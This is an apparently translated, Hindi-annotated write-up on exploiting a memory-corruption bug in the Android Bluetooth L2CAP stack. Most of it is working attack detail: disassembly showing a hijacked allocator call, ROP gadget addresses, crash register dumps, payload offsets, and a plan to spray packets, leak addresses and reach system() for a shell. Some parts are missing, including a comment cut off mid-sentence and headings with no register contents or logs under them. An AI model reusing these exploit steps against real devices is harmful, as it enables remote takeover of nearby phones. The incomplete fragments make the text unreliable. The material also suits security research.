void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => हमारे कॉल द्वारा प्रतिस्थापित आवंटन (केवल एक पैरामीटर !!!) ... }
tL2C_LCB संरचना में link_xmit_data_q की परिभाषा:
/* Define a link control block. There is one link control block between
list_t संरचना की परिभाषा:
typedef struct list_t { list_node_t* head; | आकार 0x4 | ऑफसेट 0x0 list_node_t* tail; | आकार 0x4 | ऑफसेट 0x4 size_t length; | आकार 0x4 | ऑफसेट 0x8 list_free_cb free_cb; | आकार 0x4 | ऑफसेट 0xC const allocator_t* allocator; | आकार 0x4 | ऑफसेट 0x10 } list_t; | आकार 0x14
list_node_t संरचना के साथ:
struct list_node_t {
struct list_node_t* next; | आकार 0x4 | ऑफसेट 0x0
void* data; | आकार 0x4 | ऑफसेट 0x4
}; | आकार 0x8
और allocator_t संरचना:
typedef struct {
alloc_fn alloc; | आकार 0x4 | ऑफसेट 0x0
free_fn free; | आकार 0x4 | ऑफसेट 0x4
} allocator_t; | आकार 0x8
typedef struct {
uint16_t event; | आकार 0x2 | ऑफसेट 0x0
uint16_t len; | आकार 0x2 | ऑफसेट 0x2
uint16_t offset; | आकार 0x2 | ऑफसेट 0x4
uint16_t layer_specific; | आकार 0x2 | ऑफसेट 0x6
uint8_t data[]; | आकार 0xx | ऑफसेट 0x8
} BT_HDR; | आकार 0x8 + डेटा लंबाई
l2c_link_check_send_pkts फ़ंक्शन का डिसअसेंबली:
.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => R0 को R4 पर ले जाएँ => R4 = R0 = tL2C_LCB* p_lcb सेट करें .text:0x00103110 CBZ R2, loc_10311C => यदि R2 शून्य है तो कूदें => यदि BT_HDR* p_buf शून्य है तो कूदें .text:0x00103112 MOVS R0, #0 => 0 को R0 पर ले जाएँ => .text:0x00103114 CBZ R1, loc_103120 => यदि R1 शून्य है तो कूदें => यदि tL2C_CCB* p_ccb शून्य है तो कूदें .text:0x00103116 LDRH R1, [R1,#0x2C] => R1 + 0x2C को R1 में लोड करें => p_ccb->local_cid को R1 में लोड करें .text:0x00103118 MOVS R7, #1 => 1 को R7 पर ले जाएँ => single_write = true सेट करें .text:0x0010311A B loc_103124 => loc_103124 पर शाखा .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => R1 के उच्च को R2 में संग्रहीत करें => p_buf->event = p_ccb->local_cid सेट करें .text:0x00103126 MOV R1, R2 => R2 को R1 पर ले जाएँ => R1 = R2 = BT_HDR* p_buf सेट करें .text:0x00103128 STRH R0, [R2,#6] => R0 को R2 + 0x6 में संग्रहीत करें => p_buf->layer_specific = 0 सेट करें .text:0x0010312A LDR R0, [R4,#0x44] => R4 + 0x44 को R0 में लोड करें => R4 + 0x44 से list_t* p_lcb->link_xmit_data_q को R0 में लोड करें .text:0x0010312C BL list_append => लिंक के साथ list_append पर शाखा
list_append फ़ंक्शन को कॉल करने से पहले रजिस्टर में शामिल हैं:
list_append फ़ंक्शन का डिसअसेंबली:
.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => R4 को R0 पर ले जाएँ => R4 = R0 = list_t* p_lcb->link_xmit_data_q सेट करें .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => R1 को R5 पर ले जाएँ => R5 = R1 = BT_HDR* p_buf सेट करें .text:0x001298AA CMP R4, #0 => R4 = 0 का परीक्षण करें => परीक्षण करें कि क्या list_t* p_lcb->link_xmit_data_q शून्य है .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => CMP का परीक्षण करें => यदि list_t* p_lcb->link_xmit_data_q शून्य नहीं है तो कूदें .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => यदि R5 शून्य नहीं है तो कूदें => यदि BT_HDR* p_buf शून्य है तो कूदें .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => R0 को R4+0x10 से लोड करें => R0 = list->allocator सेट करें .text:0x001298E2 LDR R1, [R0] => R1 को R0 से लोड करें => R1 = list->allocator->alloc सेट करें .text:0x001298E4 MOVS R0, #8 => 8 को R0 पर ले जाएँ => R0 = sizeof(list_node_t) सेट करें .text:0x001298E6 BLX R1 => लिंक और एक्सचेंज के साथ R1 पर शाखा => नियंत्रित R1 पर शाखा !!!
नियंत्रित शाखा से पहले R1 पर रजिस्टर में शामिल हैं:
list_t* p_lcb->link_xmit_data_q में पहले पेलोड की शुरुआत खोजने के लिए जिसे R4 द्वारा इंगित किया गया है, हमने 0x00125734 पर पाए गए ldm गैजेट का उपयोग किया:
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
निम्नलिखित रजिस्टर सामग्री के साथ लक्ष्य क्रैश:
R4 = ade05278 = list_t* p_lcb->link_xmit_data_q पहले पेलोड के साथ + 0x894C पर (0x894C / 0x360 = 0x28 = 40 पैकेट जहाँ हम दूसरे पेलोड तक पहुँच सकते हैं)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = पहला पेलोड मान + 0x0
R2 = R4 + 0x8 = dead0001 = पहला पेलोड मान + 0x4
R3 = R4 + 0xC = dead0002 = पहला पेलोड मान + 0x8
R5 = R4 + 0x10 = ade0db14 = पहला पेलोड मान + 0xC = दूसरे पेलोड का पता + 0x0
R6 = R4 + 0x14 = dead0003 = पहला पेलोड मान + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = पहला पेलोड मान + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = पहला पेलोड मान + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = पहला पेलोड मान + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = पहला पेलोड मान + 0xC = दूसरे पेलोड का पता + 0x0
R14 (LR) = R4 + 0x30 = dead0003 = पहला पेलोड मान + 0x10
पहला पेलोड प्रत्येक 0x14 बाइट्स पर दोहराया जाता है जो list_t संरचना का आकार है
typedef struct list_t { list_node_t* head; | आकार 0x4 | ऑफसेट 0x0 | l2cap हेडर उपयोग योग्य नहीं list_node_t* tail; | आकार 0x4 | ऑफसेट 0x4 | पहला पेलोड मान + 0x0 size_t length; | आकार 0x4 | ऑफसेट 0x8 | पहला पेलोड मान + 0x4 list_free_cb free_cb; | आकार 0x4 | ऑफसेट 0xC | पहला पेलोड मान + 0x8 const allocator_t* allocator; | आकार 0x4 | ऑफसेट 0x10 | पहला पेलोड मान + 0xC } list_t; | आकार 0x14
BT_HDR* p_buff में दूसरे पेलोड की शुरुआत खोजने के लिए जिसे R5 द्वारा इंगित किया गया है, हमने 0x000dcecc पर पाए गए ldm गैजेट का उपयोग किया:
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
निम्नलिखित रजिस्टर सामग्री के साथ लक्ष्य क्रैश:
इस लोड मल्टीपल में कोई वृद्धि नहीं है और हम देख सकते हैं कि BT_HDR* p_buff + 0x0 की सामग्री है: 000e0000 00000000 000a2002 00010006 0002020a 00000002
गैजेट से पहले वृद्धि के साथ लोड मल्टीपल के साथ वही परीक्षण 0x0014b580 पर पाया गया: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
निम्नलिखित लॉग के साथ लक्ष्य क्रैश:
क्रैश के बाद रजिस्टर में शामिल हैं:
वृद्धि के लिए BT_HDR* p_buff + 0x4 की सामग्री है: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
हम देख सकते हैं कि दूसरा पेलोड BT_HDR* p_buff में + 0x14 पर है
########################################################################################
ROP चेन लिखें
########################################################################################
जैसा कि Jan Ruge ने libicuuc लाइब्रेरी के साथ किया, हमारे पास ब्लूटूथ में केवल dlsym तक पहुँच है ताकि शेल शुरू करने के लिए system का पता लगाया जा सके
एक्सप्लॉइट प्रक्रिया इस प्रकार है:- mem_offset 180 पर एक लिंक ट्रांसमिट डेटा बफ़र क्यू एंट्री एड्रेस प्राप्त करें और -176 के माध्यम से एक पैकेट का बेस कंप्यूट करें
mem_offset 28 पर BleAdvertisingManagerImpl::SetDataAdvDataSender फंक्शन एड्रेस प्राप्त करेंmem_offset 184 पर दूसरे पेलोड को स्प्रे करें ताकि इसे लिंक ट्रांसमिट डेटा बफ़र क्यू में रखा जा सकेव्याख्या के लिए कोड देखें
########################################################################################